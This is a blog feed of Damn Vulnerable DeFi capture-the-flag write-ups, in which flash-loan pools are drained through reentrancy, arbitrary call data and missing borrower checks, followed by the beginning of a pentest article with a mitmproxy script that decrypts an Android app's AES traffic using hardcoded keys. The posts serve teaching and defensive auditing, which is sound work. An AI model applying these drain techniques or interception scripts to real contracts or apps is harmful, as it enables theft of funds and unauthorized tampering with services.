<li>These type of reward-generating pools should incentivize users for how long they stake their tokens in the pool, rather than allowing them to withdraw immediately and calculating rewards based on that.</li>
</ul>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://github.com/az0mb13/damn-vulnerable-defi/blob/master/contracts/the-rewarder/RewardExploit.sol">https://github.com/az0mb13/damn-vulnerable-defi/blob/master/contracts/the-rewarder/RewardExploit.sol</a></div>
]]></content:encoded></item><item><title><![CDATA[Side Entrance - Damn Vulnerable DeFi #04]]></title><description><![CDATA[Objectives
A lending pool allows users to deposit and withdraw ETH. It also offers flash loans for free. The pool has 1000 ETH in balance and we start with 1 ETH. Our objective is to drain the pool.
Smart Contract Analysis
SideEntranceLenderPool.sol
...]]></description><link>https://blog.dixitaditya.com/side-entrance-damn-vulnerable-defi-04</link><guid isPermaLink="true">https://blog.dixitaditya.com/side-entrance-damn-vulnerable-defi-04</guid><category><![CDATA[damn vulnerable defi]]></category><category><![CDATA[Security]]></category><category><![CDATA[Web3]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Ethereum]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Thu, 26 Jan 2023 16:07:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1674749237673/9bfe5c59-37c4-462d-ae48-88f4e615b115.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-objectives"><strong>Objectives</strong></h2>
<p><a target="_blank" href="https://www.damnvulnerabledefi.xyz/challenges/side-entrance/">A lending pool</a> allows users to deposit and withdraw ETH. It also offers flash loans for free. The pool has 1000 ETH in balance and we start with 1 ETH. Our objective is to drain the pool.</p>
<h2 id="heading-smart-contract-analysis"><strong>Smart Contract Analysis</strong></h2>
<p><strong>SideEntranceLenderPool.sol</strong></p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="f2f6a5350fc42fadbc3872bc1b2cea28"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/az0mb13/f2f6a5350fc42fadbc3872bc1b2cea28" class="embed-card">https://gist.github.com/az0mb13/f2f6a5350fc42fadbc3872bc1b2cea28</a></div><p> </p>
<ul>
<li><p>function <code>deposit()</code> allows users to deposit ETH into the pool which is added to their <code>balances</code> mapping.</p>
</li>
<li><p>function <code>withdraw()</code> allows users to withdraw their own balance that they have deposited. The <code>balances</code> mapping is checked for the amount to withdraw.</p>
</li>
<li><p>function <code>flashLoan()</code> is used to request a free flashloan.</p>
</li>
</ul>
<p>It's all pretty straightforward, isn't it? So how do we drain the 1000 ETH from the pool?</p>
<h2 id="heading-the-exploit"><strong>The Exploit</strong></h2>
<p>This contract is vulnerable to the classic Re-entrancy bug. The issue is also on Line 35 <code>require()</code> validation. It is only making sure that the balance of the pool after calling the <code>execute()</code> is greater than the <code>balanceBefore</code> stored on Line 30.</p>
<p>On Line 33, the flow of the contract is in the attacker's control. What this means is that when we receive control inside our own <code>execute()</code> function, we can call the <code>deposit()</code> function to deposit the loaned amount back to the pool.<br />The pool will update its balance and the validation</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> balanceBefore
</code></pre>
<p>will return true because the pool only checks if its total balance is updated. It does not account that the ETH was deposited by the attacker using a different function, and therefore, the attacker will be able to call the <code>withdraw()</code> function to take out all the ETH from their balance.</p>
<p>Let's make a contract to exploit the whole thing.</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="cc78a4e51eb0f7338d363b41b7002a96"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/az0mb13/cc78a4e51eb0f7338d363b41b7002a96" class="embed-card">https://gist.github.com/az0mb13/cc78a4e51eb0f7338d363b41b7002a96</a></div><p> </p>
<ul>
<li><p>The function <code>exploit()</code> calls the <code>pool.flashLoan()</code> to start the attack.</p>
</li>
<li><p>The <code>flashLoan()</code> function calls <code>IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();</code> which sends the control flow back to our contract's <code>receive()</code> function since our contract is <code>msg.sender</code> for this transaction, along with the loaned amount.</p>
</li>
<li><p>The function <code>execute()</code> calls <code>pool.deposit()</code> and deposits the loaned amount back into the pool, but also updates the <code>balances</code> mapping so that we can withdraw.</p>
</li>
<li><p><code>flashLoan()</code>'s <code>require()</code> validation returns true, the flow is again returned to our contract's <code>exploit()</code> function and it calls <code>pool.withdraw()</code> to withdraw all the deposited ETH by our <code>AttackerContract</code> which is received by the <code>receive()</code> function that we have implemented.</p>
</li>
<li><p>It again calls <code>attacker.transfer()</code> to transfer all the ETH back into our deployer account, finishing the exploit.</p>
</li>
</ul>
<p>Let's write the test case for this:</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="e7c44cd3c5f4439b179655f64ee305ef"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/az0mb13/e7c44cd3c5f4439b179655f64ee305ef" class="embed-card">https://gist.github.com/az0mb13/e7c44cd3c5f4439b179655f64ee305ef</a></div><p> </p>
<p>It just deploys our AttackerContract, connects to it via the attacker account, and calls <code>exploit()</code> function with the total ETH owned by the pool as the argument.</p>
<p>Run the script using <code>yarn run side-entrance</code> and the test case will pass.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674748713008/adc84aca-ac77-497c-9fe1-7365e5a09d6a.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-key-takeaways">Key Takeaways</h2>
<ul>
<li><p>This could have been easily prevented by using OpenZeppelin's Re-entrancy Guard, or the <code>nonReentrant</code> modifier on the <code>deposit()</code> function.</p>
</li>
<li><p>When you're handling balances inside multiple functions, make sure that all of them account for the ETH/tokens received via other functions.</p>
</li>
</ul>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://github.com/az0mb13/damn-vulnerable-defi/blob/master/test/side-entrance/side-entrance.challenge.js">https://github.com/az0mb13/damn-vulnerable-defi/blob/master/test/side-entrance/side-entrance.challenge.js</a></div>
]]></content:encoded></item><item><title><![CDATA[Truster - Damn Vulnerable DeFi #03]]></title><description><![CDATA[Objectives
There's a lending pool with a million DVT tokens. This pool offers a flash loan for free. But as it is with all flash loans, the user must pay back the loan in the same transaction.
Our objective is to drain all the funds from the lending ...]]></description><link>https://blog.dixitaditya.com/truster-damn-vulnerable-defi-03</link><guid isPermaLink="true">https://blog.dixitaditya.com/truster-damn-vulnerable-defi-03</guid><category><![CDATA[Web3]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[damn vulnerable defi]]></category><category><![CDATA[Security]]></category><category><![CDATA[Ethereum]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Sun, 22 Jan 2023 17:58:36 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1674409841156/15cde583-d537-4ff0-bdc5-b00c76b5cccf.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-objectives">Objectives</h2>
<p>There's a lending pool with a million DVT tokens. This pool offers a flash loan for free. But as it is with all flash loans, the user must pay back the loan in the same transaction.</p>
<p>Our objective is to drain all the funds from the lending pool and empty the contract. Let's get started.</p>
<h2 id="heading-smart-contract-analysis">Smart Contract Analysis</h2>
<p><strong>TrusterLenderPool.sol</strong></p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="7701b7af4a6cf06f78eed8b214c1df41"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/az0mb13/7701b7af4a6cf06f78eed8b214c1df41" class="embed-card">https://gist.github.com/az0mb13/7701b7af4a6cf06f78eed8b214c1df41</a></div><p> </p>
<p>The only function of interest here is the <code>flashLoan()</code>. Let's go over the content.</p>
<ul>
<li><p><code>balanceBefore</code> is used to store the current balance of the pool which is then validated again on Line 39 to make sure that the user returns the loaned token.</p>
</li>
<li><p>There's a transfer call on Line 35 in which the loan is offered to the <code>borrower</code>.</p>
</li>
<li><p>On line 36, there's an interesting external call - <code>target.functionCall(data);</code>. The <code>functionCall()</code> is a function coming from OpenZeppelin's <a target="_blank" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol">Address.sol</a>. This is calling another internal function called `<a target="_blank" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol#L128">functionCallWithValue()</a>`.</p>
<ul>
<li>If you look inside the function definition, you'll notice that it is just a normal <code>call()</code> function on the target address, i.e., <code>target.call{value: value}(data);</code> . This means that when the user calls the <code>flashLoan()</code> function, the lender contract makes an external call to the <code>target</code> address with our custom data passed as an argument. This paves the way for exploitation.</li>
</ul>
</li>
</ul>
<h2 id="heading-the-exploit">The Exploit</h2>
<p>Now that we know we can make the lender pool call arbitrary functions on the <code>target</code> address, imagine what would happen if we were to pass the <code>target</code> as the address of the lender pool's token itself? We don't see any validation happening in the <code>flashLoan()</code> function. This would essentially allow us to call any function inside the lender pool and its ERC interfaces in the context of the pool.</p>
<p>Now, to transfer all the tokens from the pool, there's a function called <code>approve(spender, amount)</code> in the ERC20 standard. This function is used to allow the spender to spend the <code>amount</code> tokens owned by the caller.</p>
<p>Since we can make the lender pool call any function, we will be using the exploit to make it call the <code>approve()</code> with our attacker's address and the maximum amount in the lending pool.</p>
<p>Once the tokens are approved by the lender, we can simply withdraw the tokens by calling <code>transferFrom()</code>, yet another ERC20 function.</p>
<ul>
<li><p><code>borrowAmount</code> will be 0 since we don't want to pay back anything.</p>
</li>
<li><p><code>borrower</code> will be our attacker's address.</p>
</li>
<li><p><code>target</code> will be the address of the damnValuableToken.</p>
</li>
<li><p><code>data</code> will contain the ABI-encoded data containing the function signature and values to call on the <code>target</code> contract. We will be making use of <code>abi.encodeWithSignature</code> for this.</p>
</li>
</ul>
<p>We'll make an attacker contract so that the exploit happens in a single transaction.</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="9e0a6149b7c76b73bc3e9b3e935117c5"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/az0mb13/9e0a6149b7c76b73bc3e9b3e935117c5" class="embed-card">https://gist.github.com/az0mb13/9e0a6149b7c76b73bc3e9b3e935117c5</a></div><p> </p>
<p>This contract code can be placed just below the TrusterLenderPool contract code. In the attacker contract:</p>
<ul>
<li><p>The constructor is handling the pool and token address which we'll pass from inside the test file.</p>
</li>
<li><p>The attack function is storing the total pool balance inside <code>poolBalance</code>.</p>
</li>
<li><p>On line 12, <code>pool.flashLoan</code> is called with all the parameters specified above. This will make the lender pool approve <code>poolBalance</code> tokens for our attacker contract.</p>
</li>
<li><p>On line 22, the approved tokens are transferred back to our contract completing the attack in a single transaction.</p>
</li>
</ul>
<p>Here's how the test case will look:</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="34a40d3f3cbf4a307a2bb30c1a1f89b5"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/az0mb13/34a40d3f3cbf4a307a2bb30c1a1f89b5" class="embed-card">https://gist.github.com/az0mb13/34a40d3f3cbf4a307a2bb30c1a1f89b5</a></div><p> </p>
<p>Lines 4 and 5 are handling our contract deployment and on line 6 we are calling the <code>attack()</code> function that we created to exploit the lending pool.</p>
<p>Run the script using <code>yarn run truster</code> and the test case will pass.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674409536425/6d55ddb2-a5b0-4de8-ad47-c4c10b1b6eaf.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-key-takeaways">Key Takeaways</h2>
<ul>
<li><p>It's a bad idea to pass user-controlled input directly to function call data without validation.</p>
</li>
<li><p>Do not allow 0 amount in flash loans.</p>
</li>
<li><p>There should have been validations on the <code>target</code> address to prevent users from using the token or pool's address.</p>
</li>
</ul>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://github.com/az0mb13/damn-vulnerable-defi/blob/master/test/truster/truster.challenge.js">https://github.com/az0mb13/damn-vulnerable-defi/blob/master/test/truster/truster.challenge.js</a></div>
]]></content:encoded></item><item><title><![CDATA[Naive Receiver - Damn Vulnerable DeFi #02]]></title><description><![CDATA[Objectives
There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.
A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.
Our objective is...]]></description><link>https://blog.dixitaditya.com/naive-receiver-damn-vulnerable-defi-02</link><guid isPermaLink="true">https://blog.dixitaditya.com/naive-receiver-damn-vulnerable-defi-02</guid><category><![CDATA[Web3]]></category><category><![CDATA[Security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[damn vulnerable defi]]></category><category><![CDATA[Ethereum]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Sat, 21 Jan 2023 16:13:18 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1674304949392/07e01f28-3aad-45ac-8597-ac3f1bf26b4f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-objectives"><strong>Objectives</strong></h2>
<p><a target="_blank" href="https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/">There’s a pool</a> with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.</p>
<p>A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.</p>
<p>Our objective is to empty the user's contract and drain all the ETH, and bonus points if we can do it in a single transaction.</p>
<h2 id="heading-smart-contract-analysis">Smart Contract Analysis</h2>
<h3 id="heading-naivereceiverlenderpoolsol"><strong>NaiveReceiverLenderPool.sol</strong></h3>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="b16d4ab5678a66118dd1acbf795c5c55"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/az0mb13/b16d4ab5678a66118dd1acbf795c5c55" class="embed-card">https://gist.github.com/az0mb13/b16d4ab5678a66118dd1acbf795c5c55</a></div><p> </p>
<ul>
<li><p><strong>flashLoan()</strong></p>
<p>  This function takes the address of the borrower as input along with the borrow amount and offers a flashloan.</p>
<ul>
<li>functionCallWithValue() - This is an external call to the <code>borrower</code> address provided by us which will call the <code>receiveEther()</code> function inside the user's FlashLoanReceiver.sol contract.</li>
</ul>
</li>
</ul>
<h3 id="heading-flashloanreceiversol"><strong>FlashLoanReceiver.sol</strong></h3>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="751a2755c26244857c25d0fdbf58d1e1"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/az0mb13/751a2755c26244857c25d0fdbf58d1e1" class="embed-card">https://gist.github.com/az0mb13/751a2755c26244857c25d0fdbf58d1e1</a></div><p> </p>
<ul>
<li><p><strong>receiveEther()</strong></p>
<p>  This function receives the Ether sent by the flash loan.</p>
<ul>
<li><p><code>amountToBeRepaid</code> is calculated by adding the fee (1 ETH) to the <code>msg.value</code>.</p>
</li>
<li><p><code>_executeActionDuringFlashLoan();</code> is called which is an empty dummy function.</p>
</li>
<li><p>Then the <code>sendValue</code> is called on the lending pool. This function originates from the <code>Address.sol</code> imported by the contract. It repays the loan back to the pool and the transaction is completed.</p>
</li>
</ul>
</li>
</ul>
<h2 id="heading-the-exploitation">The Exploitation</h2>
<p>The vulnerability lies in the <code>flashLoan()</code> function inside the lender pool. There's no validation happening inside the function to make sure that the borrower is <code>msg.sender</code>. Without this, any external attacker would be able to enter any user's address as the <code>borrower</code> and request a flash loan for them.</p>
<p>If the function is called once, i.e., <code>flashLoan(FlashLoanReceiver_address, 0)</code> it'll drain 1 Ether fee from the Receiver. To drain all the balance, we must call this function 10 times. This can be achieved by using the following code in the test case:</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="535d0f80b8862af6c29b2a1510ebf831"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/az0mb13/535d0f80b8862af6c29b2a1510ebf831" class="embed-card">https://gist.github.com/az0mb13/535d0f80b8862af6c29b2a1510ebf831</a></div><p> </p>
<p>But this is not efficient, neither is this in a single transaction. To do this in one transaction, we can make use of loops. Here's a better solution:</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="c53170e782d6e317313ebb8ee223bc05"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/az0mb13/c53170e782d6e317313ebb8ee223bc05" class="embed-card">https://gist.github.com/az0mb13/c53170e782d6e317313ebb8ee223bc05</a></div><p> </p>
<p>This calls the <code>flashLoan()</code> function 10 times with 0 borrow amount, which charges a fee of 1 Ether in every flash loan call, eventually draining the flash loan receiver.</p>
<p>Run the script using <code>yarn run naive-receiver</code> and the test case will pass.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674317416458/79689cff-1026-4097-99c3-b3a9098dbe30.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-key-takeaways"><strong>Key Takeaways</strong></h2>
<p>Input validation and access control should be the utmost priority when implementing any sensitive function dealing with tokens or Ether. The attack would have been prevented had there been a validation on the borrower's address like <code>require(borrower == msg.sender);</code>.</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://github.com/az0mb13/damn-vulnerable-defi/blob/master/test/naive-receiver/naive-receiver.challenge.js">https://github.com/az0mb13/damn-vulnerable-defi/blob/master/test/naive-receiver/naive-receiver.challenge.js</a></div>
]]></content:encoded></item><item><title><![CDATA[Unstoppable - Damn Vulnerable DeFi #01]]></title><description><![CDATA[Objectives
This level involves a Lending Pool that contains a million DVT tokens. This pool also offers flash loans without any fee. Our job is to attack the pool and stop it from issuing flash loans. Our user (attacker) is given 100 DVT tokens to st...]]></description><link>https://blog.dixitaditya.com/unstoppable-damn-vulnerable-defi-01</link><guid isPermaLink="true">https://blog.dixitaditya.com/unstoppable-damn-vulnerable-defi-01</guid><category><![CDATA[Web3]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[damn vulnerable defi]]></category><category><![CDATA[Ethereum]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Sat, 07 Jan 2023 12:37:29 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1674304696336/9a610e3c-7de7-4218-94a3-790faa759795.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-objectives">Objectives</h2>
<p><a target="_blank" href="https://www.damnvulnerabledefi.xyz/challenges/1.html">This level</a> involves a Lending Pool that contains a million DVT tokens. This pool also offers flash loans without any fee. Our job is to attack the pool and stop it from issuing flash loans. Our user (attacker) is given 100 DVT tokens to start with.</p>
<h2 id="heading-smart-contract-analysis">Smart Contract Analysis</h2>
<p><strong>UnstoppableLender.sol</strong></p>
<p>There are two interesting functions here as shown below:</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="56e08b07df8d26788364637eecd87d94"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/az0mb13/56e08b07df8d26788364637eecd87d94" class="embed-card">https://gist.github.com/az0mb13/56e08b07df8d26788364637eecd87d94</a></div><p> </p>
<ol>
<li><p><strong>depositTokens()</strong></p>
<p> This function is used to receive DVT tokens and update the poolBalance with the amount of tokens received. Anyone can send DVT as long as they are sending &gt; 0 tokens. Nothing suspicious here.</p>
</li>
<li><p><strong>flashLoan()</strong></p>
<p> This function is used to request flash loans.</p>
<ul>
<li><p>The parameter <code>balanceBefore</code> is storing the current balance in the contract.</p>
</li>
<li><p>The <code>assert</code> statement on <strong>L19</strong> makes sure that the <code>poolBalance</code> is equal to the <code>balanceBefore</code>.</p>
</li>
<li><p>If the previous validations return true, the rest of the flash loan process is executed.</p>
</li>
</ul>
</li>
</ol>
<h2 id="heading-the-exploitation">The Exploitation</h2>
<p>The vulnerability lies in L19's assertion. Note that the function is validating a state variable <code>poolBalance</code> with the current contract's balance. This validation can easily be broken because there are multiple ways to deposit tokens in the contract. Once <code>poolBalance</code> becomes less than <code>balanceBefore</code>, this assert will return false and the <code>flashLoan()</code> function will break.</p>
<p>To exploit this, we won't be calling the <code>depositTokens()</code> because it'll just update the value of <code>poolBalance</code> . Since the contract is using an ERC20 token, there's another function called <code>transfer()</code> that does just that. It'll help us transfer the tokens from our account to the contract, and the contract won't be updating the <code>poolBalance</code> value.</p>
<p>Here's the solution which can be used inside the test script provided</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="17510e234607535d9e284f91c89b8685"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/az0mb13/17510e234607535d9e284f91c89b8685" class="embed-card">https://gist.github.com/az0mb13/17510e234607535d9e284f91c89b8685</a></div><p> </p>
<ul>
<li><p><code>this.token.connect(attacker)</code> is used to connect as an attacker account which is defined above in the script.</p>
</li>
<li><p><code>transfer(this.pool.address, 1)</code> is used to transfer 1 DVT from the attacker's account to the pool's address.</p>
</li>
</ul>
<p>Run the script using <code>yarn run unstoppable</code> and the test case will pass.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1673099010671/a86916aa-9570-4e8e-9460-20133c2cc46c.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-key-takeaways">Key Takeaways</h2>
<ul>
<li>Strict equality checks with tokens or Ether on sensitive functions are a bad idea because the contract can be force-fed tokens/Ether externally.</li>
</ul>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://github.com/az0mb13/damn-vulnerable-defi/blob/master/test/unstoppable/unstoppable.challenge.js">https://github.com/az0mb13/damn-vulnerable-defi/blob/master/test/unstoppable/unstoppable.challenge.js</a></div>
]]></content:encoded></item><item><title><![CDATA[Manipulating AES Traffic using a Chain of Proxies and Hardcoded Keys]]></title><description><![CDATA[Overview
Mobile applications are becoming more resilient to reverse engineering and tampering with all kinds of client and server-side protections, binary hardening, code obfuscations, SSL pinning, etc which makes it that much more difficult for good...]]></description><link>https://blog.dixitaditya.com/manipulating-aes-traffic-using-a-chain-of-proxies-and-hardcoded-keys</link><guid isPermaLink="true">https://blog.dixitaditya.com/manipulating-aes-traffic-using-a-chain-of-proxies-and-hardcoded-keys</guid><category><![CDATA[Security]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[Java]]></category><category><![CDATA[Android]]></category><category><![CDATA[android app development]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Sat, 03 Dec 2022 05:00:47 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1669990436681/c45bebca-5464-47f1-b154-514cec5565a6.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">Overview</h2>
<p>Mobile applications are becoming more resilient to reverse engineering and tampering with all kinds of client and server-side protections, binary hardening, code obfuscations, SSL pinning, etc which makes it that much more difficult for good or bad hackers to dig deeper into these applications.</p>
<p>Let's say the attacker manages to bypass the SSL Pinning and Root detection and using Burp Suite or any intercepting proxy, they are able to monitor all the requests. What are the developers supposed to do in this case to hide their API implementation from end users?</p>
<p>This is where some recent applications have been found encrypting their traffic client-side and sending it to the server where it's decrypted and analyzed. This minimizes the possibility of injections given that proper client-side input validations are implemented in the application. The attacker won't be able to see plaintext traffic in their proxy, and thus, won't be able to modify the endpoints and parameters.</p>
<p>In this article, I'll be talking about one such android application which our team at <a target="_blank" href="https://credshields.com">CredShields</a> was working on, that was using <code>AES/CBC/PKCS5Padding</code> to encrypt its traffic, which was then decrypted on their server, making the traffic completely gibberish to an intercepting proxy, and the technique I used to decrypt and bypass the encryption.</p>
<h2 id="heading-source-code-analysis">Source Code Analysis</h2>
<p>It was evident from the request that the application was encrypting the request body using some kind of encryption technique and sending it to the server. Here's how a sample request looks:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1670003952603/092d6414-525c-45cd-a963-0146ee14ae07.png" alt="Encrypted Sample Request" /></p>
<p>The POST body was in the following format - <code>data=AESEncryptedData:IV</code></p>
<p>So the encryption part was happening somewhere inside the APK. It is generally a good idea to have the application decompiled at this stage to analyze the source code. I use <code>jadx-gui</code> for this.</p>
<p>Let's call the app <code>victim.apk</code>. While going through the source code I noticed that it was not obfuscated, making my job much easier. I thought about searching for the keyword <code>encrypt</code> to look for any functions that are being used for the encryption. There were many results but a particular function caught my eye because it was inside the application's folder itself and the file name (AES) kind of gave it away.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1669998203346/cfebc7e5-e44b-4e94-b42d-895a7babca86.png" alt /></p>
<p>I opened the file <code>com/victim.app/utils/Java_AES_Cipher</code> which confirmed my assumptions. It was indeed the code for encrypting and decrypting strings using <code>AES/CBC/PKCS5Padding</code> .</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1669999459690/87bf9ad4-214c-46b2-99b3-e910dd998e5c.png" alt /></p>
<p>I won't be going into the details of how the AES encryption works (Google is your friend). From the code, it is clear that the function <code>encrypt()</code> is taking 3 string type parameters as arguments. Now to find all the places where the function is used, the shortcut key <code>x</code> can be used in <code>jadx-gui</code>. This lists out all the instances where the function is called. From the function call, the parameters become clear:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1669999792814/4a46c86a-706b-4ba7-b59a-5aa2b3646d3f.png" alt /></p>
<p>So the <code>encrypt()</code> function is using a <code>key</code> and an <code>iv</code> to encrypt the data inside <code>jSONObject2</code>. This data is then sent to the server. The <code>key</code> and <code>iv</code> are being fetched from the <code>BaseMethod</code> class. Now, if you are really lucky, 1/10 times you will find the <code>key</code> and <code>iv</code> values hardcoded in the APK, as I did inside <code>com/victim.app/base/BaseMethod</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1670000070258/aba53ac0-6c03-4336-9de8-5b1683494752.png" alt /></p>
<p>By now, I had all the things I needed to decrypt the traffic. I could even do it manually on this <a target="_blank" href="https://www.devglan.com/online-tools/aes-encryption-decryption">website</a>. But decrypting the traffic, modifying it on my side, and then encrypting it again to send to the server was too much of a hassle. The challenge was automating this part.</p>
<h2 id="heading-the-chained-proxies">The Chained Proxies</h2>
<p>If you're not already familiar with this powerful tool, let me introduce you to <a target="_blank" href="https://mitmproxy.org/">Mitmproxy</a>. This thing can execute python scripts on the ongoing traffic and make changes to the requests dynamically.</p>
<p>For the complete flow to work, I'll be using 3 proxy servers - Mitmproxy-1, Burp, and Mitmproxy-2, which will then forward the request to its final destination.</p>
<h3 id="heading-the-flow">The Flow</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1670001267007/a5d10e32-1409-4a49-b086-08b5e6765265.png" alt /></p>
<ol>
<li><p>The victim app will send encrypted AES traffic to my Mitmproxy-1.</p>
</li>
<li><p>Mitmproxy-1 will listen to my requests in upstream mode, execute my python script to decrypt AES traffic, and send the plaintext JSON object to Burp.</p>
</li>
<li><p>Burp will see all the traffic as it should, in plaintext where I'll be able to tamper with everything, and once I submit the requests, it'll go to Mitmproxy-2 since Burp will be set to forward all requests to Mitmproxy-2.</p>
</li>
<li><p>Mitmproxy-2 will execute my python script to encrypt the traffic and send it to the application's server and the response returned will be seen in my Burp.</p>
</li>
</ol>
<h2 id="heading-python-scripts">Python Scripts</h2>
<h3 id="heading-mitmproxy-1">Mitmproxy-1</h3>
<p>Mitmproxy-1 will be using the following script to intercept the traffic, decrypt it, and send it to the Burp:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> mitmproxy <span class="hljs-keyword">import</span> http
<span class="hljs-keyword">from</span> urllib.parse <span class="hljs-keyword">import</span> quote, unquote
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
<span class="hljs-keyword">from</span> base64 <span class="hljs-keyword">import</span> b64decode
<span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> pad, unpad

iv = bytes(<span class="hljs-string">"verysecretkey"</span>, <span class="hljs-string">'utf-8'</span>)
key = bytes(<span class="hljs-string">"verysecretiv"</span>, <span class="hljs-string">'utf-8'</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">request</span>(<span class="hljs-params">flow: http.HTTPFlow</span>) -&gt; <span class="hljs-keyword">None</span>:</span>
    <span class="hljs-comment">#if host matches the victim</span>
    <span class="hljs-keyword">if</span> flow.request.host == <span class="hljs-string">"victim.com"</span>:
        post_body = (flow.request.content).decode(<span class="hljs-string">'utf-8'</span>)
        <span class="hljs-comment">#do voodoo magic to decode the data=AESEncodeddata:IV </span>
        to_decrypt = unquote(post_body.split(<span class="hljs-string">"="</span>)[<span class="hljs-number">1</span>]).split(<span class="hljs-string">":"</span>)[<span class="hljs-number">0</span>].replace(<span class="hljs-string">"\n"</span>,<span class="hljs-string">""</span>)
        <span class="hljs-comment">#send decrypted data</span>
        flow.request.content = decrypt(to_decrypt)

<span class="hljs-comment">#function to decrypt AES</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span>(<span class="hljs-params">message</span>):</span>
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = unpad(cipher.decrypt(b64decode(message)), AES.block_size)
    <span class="hljs-keyword">return</span> decrypted
</code></pre>
